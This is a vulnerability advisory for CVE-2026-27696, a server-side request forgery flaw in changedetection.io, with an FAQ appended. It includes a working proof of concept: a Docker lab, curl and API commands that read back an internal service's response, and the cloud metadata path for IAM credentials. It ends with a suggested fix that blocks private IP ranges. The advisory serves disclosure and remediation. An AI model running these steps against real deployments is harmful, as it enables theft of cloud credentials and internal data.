CVE-2026-27696: changedetection.io Vulnerable to Server-Side Request Forgery (SSRF) via Watch URLs
Summary
Changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function issafevalidurl() does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:
- http://169.254.169.254 - http://10.0.0.1/ - http://127.0.0.1/
The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services.
This is particularly severe because:
- The fetched content is stored and viewable - this is not a blind SSRF - Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources - By default, no password is set - the web UI is accessible without authentication - Self-hosted deployments typically run on cloud infrastructure where 169.254.169.254 returns real IAM credentials
---
Details
The URL validation function issafevalidurl() in changedetectionio/validateurl.py (lines 60–122) validates the URL protocol (http/https/ftp) and format using the validators library, but does not perform any DNS resolution or IP address validation:
python changedetectionio/validateurl.py:60-122 @lrucache(maxsize=1000) def issafevalidurl(testurl):
safeprotocolregex = '^(http|https|ftp):'
# Check protocol pattern = re.compile(os.getenv('SAFEPROTOCOLREGEX', safeprotocolregex), re.IGNORECASE) if not pattern.match(testurl.strip()): return False
# Check URL format if not validators.url(testurl, simplehost=True): return False
return True # No IP address validation performed
The HTTP fetcher in changedetectionio/contentfetchers/requests.py (lines 83–89) then makes the request without any additional IP validation:
python changedetectionio/contentfetchers/requests.py:83-89 r = session.request(method=requestmethod, url=url, # User-provided URL, no IP validation headers=requestheaders, timeout=timeout, proxies=proxies, verify=False) The response content is stored and made available to the user:
python changedetectionio/contentfetchers/requests.py:140-142 self.content = r.text # Text content stored self.rawcontent = r.content # Raw bytes stored This validation gap exists in all entry points that accept watch URLs:
- Web UI: changedetectionio/store/init.py:718 - REST API: changedetectionio/api/watch.py:163, 428 - Import API: changedetectionio/api/import.py:188
All use the same issafevalidurl() function, so a single fix addresses all paths.
---
PoC
Prerequisites
- A changedetection.io instance (Docker deployment) - Network access to the instance (default port 5000)
Step 1: Deploy changedetection.io with an internal service
Create internal-service.py: python #!/usr/bin/env python3 from http.server import HTTPServer, BaseHTTPRequestHandler import json class H(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader('Content-Type', 'application/json') self.endheaders() self.wfile.write(json.dumps({ 'Code': 'Success', 'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE', 'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY', 'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken' }).encode()) HTTPServer(('0.0.0.0', 80), H).serveforever()
Create Dockerfile.internal: FROM python:3.11-slim COPY internal-service.py /server.py CMD ["python3", "/server.py"]
Create docker-compose.yml: yaml version: "3.8" services: changedetection: image: ghcr.io/dgtlmoon/changedetection.io ports: - "5000:5000" volumes: - ./datastore:/datastore
internal-service: build: context: . dockerfile: Dockerfile.internal
Start the stack:
bash docker compose up -d
Step 2: Add a watch for the internal service
Open http://localhost:5000/ in a browser (no password required by default).
In the URL field, enter: http://internal-service/ Click Watch and wait for the first check to complete.
Step 3: View the exfiltrated data
Click on the watch entry, then click Preview. The page displays the internal service’s response containing the simulated credentials: json { "Code": "Success", "AccessKeyId": "AKIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", ... } <img width="2291" height="780" alt="Screenshot 2026-02-16 084212" src="https://github.com/user-attachments/assets/115b69fb-ea10-4c47-a38c-409ede0e03cd" />
Step 4: Verify via API (alternative) bash Get the API key (visible in Settings page of the unauthenticated web UI) APIKEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \ python3 -c "import sys,json; print(json.load(sys.stdin)['settings']['application']['apiaccesstoken'])")
Create a watch via API WATCHRESPONSE=$(curl -s -X POST "http://localhost:5000/api/v1/watch" \ -H "x-api-key: $APIKEY" \ -H "Content-Type: application/json" \ -d '{"url": "http://internal-service/"}')
WATCHUUID=$(echo "$WATCHRESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['uuid'])") echo "Watch created: $WATCHUUID"
Wait for the first fetch to complete echo "Waiting 30s for first fetch..." sleep 30
Retrieve the exfiltrated data via API LATESTTS=$(curl -s "http://localhost:5000/api/v1/watch/$WATCHUUID/history" \ -H "x-api-key: $APIKEY" | \ python3 -c "import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')")
echo "=== EXFILTRATED DATA ===" curl -s "http://localhost:5000/api/v1/watch/$WATCHUUID/history/$LATESTTS" \ -H "x-api-key: $APIKEY" Expected output — the internal service’s response containing simulated credentials: json { "Code": "Success", "AccessKeyId": "AKIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", ... }
In a real cloud deployment, replacing http://internal-service/ with:
bash http://169.254.169.254/latest/meta-data/iam/security-credentials/ would return real AWS IAM credentials.
<img width="1140" height="607" alt="Screenshot 2026-02-16 084407" src="https://github.com/user-attachments/assets/cb1f5c02-6604-49e6-9e26-13406b190b45" />
---
Impact
Who is impacted: All self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at 169.254.169.254 is accessible.
What an attacker can do:
- Steal cloud credentials: Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens - Scan internal networks: Discover internal services by adding watches for internal IP ranges and observing responses - Access internal services: Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet - Persistent access: Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources - No authentication required by default: The web UI has no password set by default, allowing any user with network access to exploit this vulnerability
---
Suggested Remediation
Add IP address validation to issafevalidurl() in changedetectionio/validateurl.py:
python import ipaddress import socket
BLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), # Loopback ipaddress.ipnetwork('10.0.0.0/8'), # Private (RFC 1918) ipaddress.ipnetwork('172.16.0.0/12'), # Private (RFC 1918) ipaddress.ipnetwork('192.168.0.0/16'), # Private (RFC 1918) ipaddress.ipnetwork('169.254.0.0/16'), # Link-local / Cloud metadata ipaddress.ipnetwork('::1/128'), # IPv6 loopback ipaddress.ipnetwork('fc00::/7'), # IPv6 unique local ipaddress.ipnetwork('fe80::/10'), # IPv6 link-local ]
def isprivateip(hostname): """Check if a hostname resolves to a private/reserved IP address.""" try: for info in socket.getaddrinfo(hostname, None): ip = ipaddress.ipaddress(info[4][0]) for network in BLOCKEDNETWORKS: if ip in network: return True except socket.gaierror: return True # Block unresolvable hostnames return False
Then add to issafevalidurl() before the final return True:
python Check for private/reserved IP addresses parsed = urlparse(testurl) if parsed.hostname and isprivateip(parsed.hostname): logger.warning(f"URL '{testurl}' resolves to a private/reserved IP address") return False
An environment variable (e.g., ALLOWPRIVATEIPS=true) could be provided for users who intentionally need to monitor internal services.
Other sources
changedetection.io is a free open source web page change detection tool. In versions prior to 0.54.1, changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function issafevalidurl() does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs. The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services. Version 0.54.1 contains a fix for the issue.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-27696?
CVE-2026-27696 is classified as a critical severity vulnerability due to its potential for Server-Side Request Forgery (SSRF) exploitation.
How do I fix CVE-2026-27696?
To fix CVE-2026-27696, upgrade changedetection.io to version 0.54.1 or later, which contains the necessary security patches.
What are the risks associated with CVE-2026-27696?
The risks associated with CVE-2026-27696 include unauthorized access to internal resources and potential data exposure due to SSRF.
Which versions of changedetection.io are affected by CVE-2026-27696?
Versions of changedetection.io prior to 0.54.1 are affected by CVE-2026-27696.
What is Server-Side Request Forgery (SSRF) in the context of CVE-2026-27696?
In the context of CVE-2026-27696, Server-Side Request Forgery (SSRF) allows an attacker to send crafted requests from the server, potentially compromising internal services.